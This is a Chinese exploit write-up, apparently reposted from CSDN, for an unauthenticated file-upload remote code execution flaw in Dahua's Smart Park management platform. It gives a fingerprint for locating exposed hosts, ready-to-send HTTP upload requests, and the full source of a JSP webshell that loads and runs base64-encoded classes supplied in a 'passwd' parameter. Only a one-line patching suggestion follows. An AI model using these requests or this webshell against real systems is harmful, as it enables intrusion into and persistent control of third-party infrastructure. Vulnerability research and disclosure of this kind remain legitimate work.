大华智慧园区综合管理平台RCE漏洞复现(0day)

0x01 产品简介

      “大华智慧园区综合管理平台”是一款综合管理平台,具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配,满足多元化的管理需求,同时通过提供智能服务,增强使用体验。

0x02 漏洞概述

     大华智慧园区设备开放了文件上传功能,但未在上传的文件类型、大小、格式、路径等方面进行严格的限制和过滤,导致攻击者可以通过构造恶意文件并上传到设备上,然后利用该漏洞获取权限并执行任意命令。

0x03 复现环境

鹰图指纹:web.body="/WPMS/asset/lib/gridster/"

 0x04 漏洞复现

 出现以上情况则存在漏洞

 PoC

POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="a.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

test123
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--

尝试上传 

验证url

http://ip:8314/upload/emap/society_new/回显的jsp文件名

PS:文件上传后,这里的端口是重定向到了8314端口 

 上传马子

POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="b.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--

 尝试连接

 0x05 修复建议

     建议使用相关系统的用户在尽快打补丁的同时,做好访问来源的限制,尽量避免大华智慧园区综合管理平台暴露在公网或不安全的网络环境中。

猜你喜欢

转载自blog.csdn.net/qq_41904294/article/details/131740622